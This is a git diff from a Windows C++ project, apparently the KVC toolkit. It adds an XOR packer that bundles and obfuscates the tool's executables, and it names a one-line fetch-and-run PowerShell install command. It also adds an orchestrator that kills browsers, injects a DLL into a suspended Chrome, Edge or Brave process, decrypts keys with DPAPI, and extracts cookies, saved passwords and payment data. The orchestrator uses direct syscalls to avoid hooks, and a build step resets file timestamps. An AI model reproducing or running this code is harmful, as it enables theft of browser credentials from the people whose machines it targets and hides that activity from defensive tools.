std::string_view KVC_DAT = "kvc.dat"; +constexpr std::string_view KVC_EXE = "kvc.exe"; +constexpr std::string_view KVC_ENC = "kvc.enc"; + +// Helper for string concatenation (replaces std::format) +inline std::string concat(std::string_view a) { + return std::string(a); +} + +inline std::string concat(std::string_view a, std::string_view b) { + std::string result; + result.reserve(a.size() + b.size()); + result.append(a); + result.append(b); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c) { + std::string result; + result.reserve(a.size() + b.size() + c.size()); + result.append(a); + result.append(b); + result.append(c); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e, std::string_view f) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + result.append(f); + return result; +} + +inline std::string concat(std::string_view a, std::string_view b, std::string_view c, + std::string_view d, std::string_view e, std::string_view f, + std::string_view g) { + std::string result; + result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size()); + result.append(a); + result.append(b); + result.append(c); + result.append(d); + result.append(e); + result.append(f); + result.append(g); + return result; +} + +// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet) +template +class Result { + std::variant data; + +public: + Result(T value) : data(std::move(value)) {} + Result(std::string error) : data(std::move(error)) {} + + bool has_value() const { return std::holds_alternative(data); } + explicit operator bool() const { return has_value(); } + + T& value() { return std::get(data); } + const T& value() const { return std::get(data); } + + const std::string& error() const { return std::get(data); } + + T* operator->() { return &std::get(data); } + const T* operator->() const { return &std::get(data); } +}; + +// Specialization for void +template<> +class Result { + std::optional error_msg; + +public: + Result() : error_msg(std::nullopt) {} + Result(std::string error) : error_msg(std::move(error)) {} + + bool has_value() const { return !error_msg.has_value(); } + explicit operator bool() const { return has_value(); } + + const std::string& error() const { return *error_msg; } +}; + +// Console colors +enum class Color : int { + Default = 7, + Green = 10, + Red = 12, + Yellow = 14 +}; + +void set_color(Color color) { +#ifdef _WIN32 + SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast(color)); +#else + switch (color) { + case Color::Green: std::cout << "\033[32m"; break; + case Color::Red: std::cout << "\033[31m"; break; + case Color::Yellow: std::cout << "\033[33m"; break; + case Color::Default: std::cout << "\033[0m"; break; + } +#endif +} + +void reset_color() { + set_color(Color::Default); +} + +// RAII color guard +class ColorGuard { +public: + explicit ColorGuard(Color new_color) { + set_color(new_color); + } + ~ColorGuard() { + reset_color(); + } + ColorGuard(const ColorGuard&) = delete; + ColorGuard& operator=(const ColorGuard&) = delete; +}; + +// XOR operation +void xor_data(std::span data, std::span key) noexcept { + for (size_t i = 0; i < data.size(); ++i) { + data[i] ^= key[i % key.size()]; + } +} + +// Read entire file into vector +Result> read_file(const fs::path& path) { + if (!fs::exists(path)) { + return Result>( + concat("File '", path.string(), "' does not exist") + ); + } + + std::ifstream file(path, std::ios::binary); + if (!file) { + return Result>( + concat("Cannot open file '", path.string(), "'") + ); + } + + std::vector data( + (std::istreambuf_iterator(file)), + std::istreambuf_iterator() + ); + + return data; +} + +// Write data to file +Result write_file(const fs::path& path, std::span data) { + std::ofstream file(path, std::ios::binary); + if (!file) { + return Result( + concat("Cannot create file '", path.string(), "'") + ); + } + + file.write(reinterpret_cast(data.data()), data.size()); + + if (!file) { + return Result( + concat("Error writing to file '", path.string(), "'") + ); + } + + return Result(); +} + +// Helper to read uint16_t from buffer +constexpr uint16_t read_uint16(std::span data, size_t offset) { + return static_cast(data[offset]) | + (static_cast(data[offset + 1]) << 8); +} + +// Helper to read uint32_t from buffer +constexpr uint32_t read_uint32(std::span data, size_t offset) { + return static_cast(data[offset]) | + (static_cast(data[offset + 1]) << 8) | + (static_cast(data[offset + 2]) << 16) | + (static_cast(data[offset + 3]) << 24); +} + +// Determine PE file length from buffer +std::optional get_pe_file_length(std::span data, size_t offset = 0) noexcept { + try { + // Check if we have enough data for DOS header + if (data.size() < offset + 0x40) { + return std::nullopt; + } + + // Check for MZ signature + if (data[offset] != 'M' || data[offset + 1] != 'Z') { + return std::nullopt; + } + + // Get e_lfanew from offset 0x3C + const uint32_t e_lfanew = read_uint32(data, offset + 0x3C); + const size_t pe_header_offset = offset + e_lfanew; + + // Check if we have enough data for PE header + if (pe_header_offset + 6 > data.size()) { + return std::nullopt; + } + + // Check for PE signature + if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' || + data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) { + return std::nullopt; + } + + // Get number of sections and size of optional header + const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6); + const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20); + + // Calculate section table offset + const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header; + + // Check if we have enough data for section table + if (section_table_offset + number_of_sections * 40 > data.size()) { + return std::nullopt; + } + + // Find the maximum end of section raw data + size_t max_end = 0; + for (uint16_t i = 0; i < number_of_sections; ++i) { + const size_t sh_offset = section_table_offset + i * 40; + + const uint32_t size_of_raw = read_uint32(data, sh_offset + 16); + const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20); + + if (pointer_to_raw == 0) continue; + + const size_t end = pointer_to_raw + size_of_raw; + max_end = std::max(max_end, end); + } + + // If we found section data, use it + if (max_end > 0) { + const size_t header_end = section_table_offset + number_of_sections * 40; + return std::max(max_end, header_end); + } + + // Fallback: Use SizeOfHeaders from optional header + const size_t optional_header_offset = pe_header_offset + 24; + if (optional_header_offset + 64 <= data.size()) { + const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60); + if (size_of_headers > 0) { + return size_of_headers; + } + } + } + catch (...) { + return std::nullopt; + } + + return std::nullopt; +} + +// Find next MZ header in buffer +std::optional find_next_mz_header(std::span data, size_t start_offset) { + constexpr std::array pattern = { 'M', 'Z' }; + + auto search_range = rng::subrange( + data.begin() + start_offset, + data.end() + ); + + auto result = rng::search(search_range, pattern); + + if (result.empty()) { + return std::nullopt; + } + + return std::distance(data.begin(), result.begin()); +} + +// Ask user Y/N question +bool ask_yes_no(std::string_view question) { + std::cout << question << " (Y/N): "; + std::string answer; + std::getline(std::cin, answer); + + return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y'); +} + +// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat +Result encode_files() { + std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n"; + + // Read both files + auto exe_result = read_file(KVC_PASS_EXE); + if (!exe_result) { + return Result(exe_result.error()); + } + + auto dll_result = read_file(KVC_CRYPT_DLL); + if (!dll_result) { + return Result(dll_result.error()); + } + + // Combine files + std::vector combined_data; + combined_data.reserve(exe_result->size() + dll_result->size()); + combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end()); + combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end()); + + // Write raw file + if (auto result = write_file(KVC_RAW, combined_data); !result) { + return result; + } + + // XOR encode the data + xor_data(combined_data, XOR_KEY); + + // Write encoded file + if (auto result = write_file(KVC_DAT, combined_data); !result) { + return result; + } + + std::cout << " -> Files combined -> " << KVC_RAW << "\n"; + std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n"; + + return Result(); +} + +// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll +Result decode_files() { + std::cout << "Decoding " << KVC_DAT << "...\n"; + + auto enc_result = read_file(KVC_DAT); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Write decoded raw file + if (auto result = write_file(KVC_RAW, dec_data); !result) { + return result; + } + + // Try to determine the exact size of the first PE file + auto first_size = get_pe_file_length(dec_data, 0); + + // Fallback if PE parsing failed + if (!first_size || *first_size >= dec_data.size()) { + std::cout << " -> PE parsing failed, using fallback search for MZ header...\n"; + + const size_t search_start = std::min(0x200, dec_data.size() - 1); + first_size = find_next_mz_header(dec_data, search_start); + + if (!first_size) { + // Ultimate fallback: don't split + first_size = dec_data.size(); + } + } + + // Split the files + if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) { + return result; + } + + std::cout << " -> Decoded -> " << KVC_RAW << "\n"; + std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n"; + + return Result(); +} + +// Build distribution package: kvc.exe + kvc.dat -> kvc.enc +Result build_distribution() { + std::cout << "Building distribution package...\n"; + + // Check if kvc.dat exists + if (!fs::exists(KVC_DAT)) { + std::cout << " -> " << KVC_DAT << " not found.\n"; + + // Check if source files exist + if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) { + return Result( + concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL) + ); + } + + // Ask if we should create it + if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) { + if (auto result = encode_files(); !result) { + return result; + } + } else { + return Result("Operation cancelled by user"); + } + } + + // Read both files + auto exe_result = read_file(KVC_EXE); + if (!exe_result) { + return Result(exe_result.error()); + } + + auto dat_result = read_file(KVC_DAT); + if (!dat_result) { + return Result(dat_result.error()); + } + + // Combine files + std::vector combined_data; + combined_data.reserve(exe_result->size() + dat_result->size()); + combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end()); + combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end()); + + // XOR encode the combined data + xor_data(combined_data, XOR_KEY); + + // Write encoded distribution file + if (auto result = write_file(KVC_ENC, combined_data); !result) { + return result; + } + + std::cout << " -> Distribution package created -> " << KVC_ENC << "\n"; + std::cout << " -> Ready for remote deployment!\n"; + + return Result(); +} + +// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat +Result decode_distribution() { + std::cout << "Decoding distribution package...\n"; + + auto enc_result = read_file(KVC_ENC); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Try to determine the exact size of kvc.exe + auto exe_size = get_pe_file_length(dec_data, 0); + + // Fallback if PE parsing failed + if (!exe_size || *exe_size >= dec_data.size()) { + std::cout << " -> PE parsing failed, using fallback search for MZ header...\n"; + + const size_t search_start = std::min(0x200, dec_data.size() - 1); + exe_size = find_next_mz_header(dec_data, search_start); + + if (!exe_size) { + // Ultimate fallback: use half + exe_size = dec_data.size() / 2; + } + } + + // Split the files + if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) { + return result; + } + + std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n"; + + return Result(); +} + +// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll +Result decode_everything() { + std::cout << "Complete decoding of distribution package...\n"; + + // Check if kvc.enc exists + if (!fs::exists(KVC_ENC)) { + std::cout << " -> " << KVC_ENC << " not found.\n"; + + // Check if we can create it from existing files + if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) { + if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) { + if (auto result = build_distribution(); !result) { + return result; + } + } else { + return Result("Operation cancelled by user"); + } + } else { + return Result(concat("File '", KVC_ENC, "' does not exist")); + } + } + + auto enc_result = read_file(KVC_ENC); + if (!enc_result) { + return Result(enc_result.error()); + } + + // XOR decode the data + std::vector dec_data = std::move(enc_result.value()); + xor_data(dec_data, XOR_KEY); + + // Find first PE file (kvc.exe) + auto first_pe_size = get_pe_file_length(dec_data, 0); + + if (!first_pe_size || *first_pe_size >= dec_data.size()) { + return Result("Cannot determine first PE file size"); + } + + // Extract kvc.exe + std::vector kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size); + + // The remaining data should be kvc.dat + std::vector kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end()); + + // Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll + xor_data(kvc_dat_data, XOR_KEY); + + // Find the PE file in kvc.dat (kvc_pass.exe) + auto second_pe_size = get_pe_file_length(kvc_dat_data, 0); + + if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) { + return Result("Cannot determine second PE file size in kvc.dat"); + } + + // Write all files + if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) { + return result; + } + + if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) { + return result; + } + + if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) { + return result; + } + + std::cout << " -> Complete decoding successful!\n"; + std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n"; + + return Result(); +} + +// Display menu +void display_menu() { + std::cout << "==================================================\n"; + std::cout << "| FILE ENCODER/DECODER TOOL |\n"; + std::cout << "==================================================\n"; + std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n"; + std::cout << "| -> kvc.raw + kvc.dat |\n"; + std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n"; + std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n"; + std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n"; + std::cout << "| -> kvc.enc |\n"; + std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n"; + std::cout << "| kvc.exe + kvc.dat |\n"; + std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n"; + std::cout << "| kvc.exe + kvc_pass.exe + |\n"; + std::cout << "| kvc_crypt.dll |\n"; + std::cout << "==================================================\n\n"; + std::cout << "kvc.enc is used for remote installation via command:\n"; + + ColorGuard green(Color::Green); + std::cout << "irm https://kvc.pl/run | iex\n\n"; +} + +int main() { + display_menu(); + std::cout << "Select operation (1-5): "; + + int choice; + std::cin >> choice; + std::cin.ignore(); // Clear newline from buffer + + Result result = Result("Invalid choice"); + + switch (choice) { + case 1: result = encode_files(); break; + case 2: result = decode_files(); break; + case 3: result = build_distribution(); break; + case 4: result = decode_distribution(); break; + case 5: result = decode_everything(); break; + default: + ColorGuard red(Color::Red); + std::cerr << "Invalid choice. Please select 1-5.\n"; + return 1; + } + + if (!result) { + ColorGuard red(Color::Red); + std::cerr << "Error: " << result.error() << "\n"; + return 1; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/KvcXor.rc b/kvc/KvcXor.rc new file mode 100644 index 0000000000000000000000000000000000000000..4ff9aaf8c75fad866e8d7e5643f6dd9a09655b84 GIT binary patch literal 4700 zcmd6rU2hs!5QgVEQvbt-+%#%RaAH;Mr45*(U}Kq&rcxy2fN`z581a$BQvOhH`V-qe z?>P*+3mApO7ihJdv$J#N<2^HTX8G^mm-f;UJGC3@+r;i{%009hv@W!%&F#`|c`Dlv zT!~%Vm5sP3&}WPTXcI=Qn=|V(Pk55F8ymw@wD0T*TBPTVec;Vocqh=W>{H;rSX+O> z+S~B%M^=s4VK##IJ(4e(4WNv$)^%%q7HEAW&v`F93vlOcFWMha#T{3O zZy45z|H#g*Wo_$N#p>3yo?TcKYK8fkHSBjNEq+h!7)pb=>zDugce!;wCRW4W)%_iU z(w+T<|1;1L4sE=C%Woa8%lIigs?c9?uOsTxHE!C2j{)DfE|35IA?6lEU*;jw6d_+5 z8;*_3-LKKDOW0jy(=9tSB?c1vo;@G&L)o(@aj?1iYSx9Q528Ao0jf zh^m-VE%K*Bc9qfGBf1(~lKYt}d2nSL85hKGk5y-^e;%|ppq@ePFxEnxIwkVekXc=FmHotB3iF@skf&0JkAySt z0{Impzf8@~>;EzduKgtBRSoM;$*&guK!TP}_8R;eL7UEp;Ud42koi@zu|wYG{YWK6 z2?xvdS5&DfJG7m@l;Mxv!f<6p6Z@j1-1zRx{sPC&1R z-{)M3DLRhmkj9~^_H&V=su=s9ncc&&>P@UsdF}4eG4|9#R73=#6{=`W_D_fx@N7o3 z#tzAQEsx@ulWzNFY3bXnR3TKdU$_tH!%B!Y~b6q~>bviB;G-dnQnDwsvw}9dR`#!>@)8n2|r=t3$4m0hf&dK`+ z@Yt?BUu#^evbGrRG;53IS-Xpu+I3kwVN|ETitVP3eHZx+WM2o#+QTs@DDJN5A!f_{ z`x~UbyvHxXeT1d@DoJGt``AIsmk($ifY2_MHW$*A6+*)IUr*U+`&LBG(Q}7&b56k7 z8s6(T{DWutC=;a_szUqb literal 0 HcmV?d00001 diff --git a/kvc/KvcXor.vcxproj b/kvc/KvcXor.vcxproj new file mode 100644 index 0000000..b0c60b8 --- /dev/null +++ b/kvc/KvcXor.vcxproj @@ -0,0 +1,95 @@ + + + + + Release + x64 + + + + + 17.0 + Win32Proj + {a905154d-f1ec-4821-9717-9f6d35f69f3f} + KvcXor + 10.0 + + + + + + Application + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + KvcXor + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + Size + /utf-8 /GS- /Gy /Gw /GL /Brepro %(AdditionalOptions) + + + Console + true + true + false + UseLinkTimeCodeGeneration + /OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/KvcXor.vcxproj.filters b/kvc/KvcXor.vcxproj.filters new file mode 100644 index 0000000..7043250 --- /dev/null +++ b/kvc/KvcXor.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/kvc/KvcXor.vcxproj.user b/kvc/KvcXor.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/KvcXor.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/OffsetFinder.cpp b/kvc/OffsetFinder.cpp index 81fea02..5c6e7f7 100644 --- a/kvc/OffsetFinder.cpp +++ b/kvc/OffsetFinder.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // OffsetFinder.cpp #include "OffsetFinder.h" #include "Utils.h" diff --git a/kvc/OrchestratorCore.cpp b/kvc/OrchestratorCore.cpp new file mode 100644 index 0000000..a788e1d --- /dev/null +++ b/kvc/OrchestratorCore.cpp @@ -0,0 +1,446 @@ +// OrchestratorCore.cpp - Main orchestration and application entry point +// Coordinates process management, injection, and extraction workflow +#include "OrchestratorCore.h" +#include "BrowserProcessManager.h" +#include "InjectionEngine.h" +#include "CommunicationLayer.h" +#include "syscalls.h" +#include +#include +#include +#include + +namespace +{ + constexpr const char* APP_VERSION = "1.0.1"; + constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; +} + +std::string g_securityModulePath; + +// Parses command-line arguments into configuration structure +std::optional Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console) +{ + Configuration config; + fs::path customOutputPath; + + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + config.verbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + customOutputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + console.printUsage(); + return std::nullopt; + } + else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') + config.browserType = arg; + else + { + console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); + return std::nullopt; + } + } + + if (config.browserType.empty()) + { + console.printUsage(); + return std::nullopt; + } + + std::transform(config.browserType.begin(), config.browserType.end(), + config.browserType.begin(), ::towlower); + + static const std::map browserExeMap = { + {L"chrome", L"chrome.exe"}, + {L"brave", L"brave.exe"}, + {L"edge", L"msedge.exe"} + }; + + auto it = browserExeMap.find(config.browserType); + if (it == browserExeMap.end()) + { + console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); + return std::nullopt; + } + + config.browserProcessName = it->second; + + BrowserPathResolver resolver(console); + config.browserDefaultExePath = resolver.resolve(config.browserProcessName); + + if (config.browserDefaultExePath.empty()) + { + console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + + " installation in Registry"); + console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + + " is properly installed"); + return std::nullopt; + } + + config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); + config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : + fs::absolute(customOutputPath); + + return config; +} + +// Orchestrates complete injection workflow: cleanup, injection, execution, termination +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) +{ + std::vector edgeDpapiKey; + + // Edge-specific: Extract DPAPI key in orchestrator before process creation + if (config.browserType == L"edge") + { + // Try multiple possible Edge installation paths + std::vector possiblePaths = { + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State", + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State", + Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State" + }; + + for (const auto& edgeLocalState : possiblePaths) + { + if (fs::exists(edgeLocalState)) + { + edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console); + + if (!edgeDpapiKey.empty()) + { + break; + } + } + } + + if (edgeDpapiKey.empty()) + { + console.Warn("Could not extract Edge DPAPI key - passwords may not be available"); + } + } + + // Terminate processes holding database locks + KillBrowserNetworkService(config, console); + KillBrowserProcesses(config, console); + + // Create suspended target process + TargetProcess target(config, console); + target.createSuspended(); + + // Establish named pipe communication + PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); + pipe.create(); + + // Inject security module and create remote thread + InjectionManager injector(target, console); + injector.execute(pipe.getName()); + + // Wait for module connection and send configuration + pipe.waitForClient(); + pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey); + pipe.relayMessages(); + + // Cleanup + target.terminate(); + + return pipe.getStats(); +} + +// Processes all installed browsers sequentially +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) +{ + if (verbose) + console.Info("Starting multi-browser security analysis..."); + + BrowserPathResolver resolver(console); + auto installedBrowsers = resolver.findAllInstalledBrowsers(); + + if (installedBrowsers.empty()) + { + console.Error("No supported browsers found on this system"); + return; + } + + if (!verbose) + console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); + + int successCount = 0; + int failCount = 0; + + for (size_t i = 0; i < installedBrowsers.size(); ++i) + { + const auto& [browserType, browserPath] = installedBrowsers[i]; + + Configuration config; + config.verbose = verbose; + config.outputPath = outputPath; + config.browserType = browserType; + config.browserDefaultExePath = browserPath; + + static const std::map> browserMap = { + {L"chrome", {L"chrome.exe", "Chrome"}}, + {L"edge", {L"msedge.exe", "Edge"}}, + {L"brave", {L"brave.exe", "Brave"}} + }; + + auto it = browserMap.find(browserType); + if (it != browserMap.end()) + { + config.browserProcessName = it->second.first; + config.browserDisplayName = it->second.second; + } + + if (verbose) + { + console.Info("\n[Browser " + std::to_string(i + 1) + "/" + + std::to_string(installedBrowsers.size()) + + "] Processing " + config.browserDisplayName); + } + + try + { + auto stats = RunInjectionWorkflow(config, console); + successCount++; + + if (verbose) + { + console.Success(config.browserDisplayName + " analysis completed"); + } + else + { + DisplayExtractionSummary(config.browserDisplayName, stats, console, false, + config.outputPath); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + catch (const std::exception& e) + { + failCount++; + + if (verbose) + { + console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); + } + else + { + console.Info(config.browserDisplayName); + console.Error("Analysis failed"); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + } + + std::cout << std::endl; + console.Info("Completed: " + std::to_string(successCount) + " successful, " + + std::to_string(failCount) + " failed"); +} + +// Displays formatted extraction summary with statistics +void DisplayExtractionSummary(const std::string& browserName, + const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, + const fs::path& outputPath) +{ + if (singleBrowser) + { + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } + else + { + console.Info(browserName); + + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } +} + +// Builds human-readable summary from extraction statistics +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) +{ + std::stringstream summary; + std::vector items; + + if (stats.totalCookies > 0) + items.push_back(std::to_string(stats.totalCookies) + " cookies"); + if (stats.totalPasswords > 0) + items.push_back(std::to_string(stats.totalPasswords) + " passwords"); + if (stats.totalPayments > 0) + items.push_back(std::to_string(stats.totalPayments) + " payments"); + + if (!items.empty()) + { + summary << "Extracted "; + for (size_t i = 0; i < items.size(); ++i) + { + if (i > 0 && i == items.size() - 1) + summary << " and "; + else if (i > 0) + summary << ", "; + summary << items[i]; + } + summary << " from " << stats.profileCount << " profile" + << (stats.profileCount != 1 ? "s" : ""); + } + + return summary.str(); +} + +// Application entry point +int wmain(int argc, wchar_t* argv[]) +{ + bool isVerbose = false; + std::wstring browserTarget; + fs::path outputPath; + + // Locate security module in current directory or System32 + auto findSecurityModule = []() -> std::string { + if (fs::exists(SECURITY_MODULE_NAME)) + return SECURITY_MODULE_NAME; + + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME; + if (fs::exists(systemPath)) + return systemPath; + } + + return ""; + }; + + g_securityModulePath = findSecurityModule(); + if (g_securityModulePath.empty()) + { + std::wcerr << L"Error: " << SECURITY_MODULE_NAME + << L" not found in current directory or System32!" << std::endl; + return 1; + } + + // Quick argument parsing for early options + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + isVerbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + outputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + Console(false).displayBanner(); + Console(false).printUsage(); + return 0; + } + else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') + browserTarget = arg; + } + + Console console(isVerbose); + console.displayBanner(); + + // Verify SQLite library availability + if (!CheckWinSQLite3Available()) + { + console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); + if (!fs::exists("sqlite3.dll")) + { + console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); + return 1; + } + } + + if (browserTarget.empty()) + { + console.printUsage(); + return 0; + } + + // Initialize direct syscalls + if (!InitializeSyscalls(isVerbose)) + { + console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked."); + return 1; + } + + // Ensure output directory exists + if (outputPath.empty()) + outputPath = 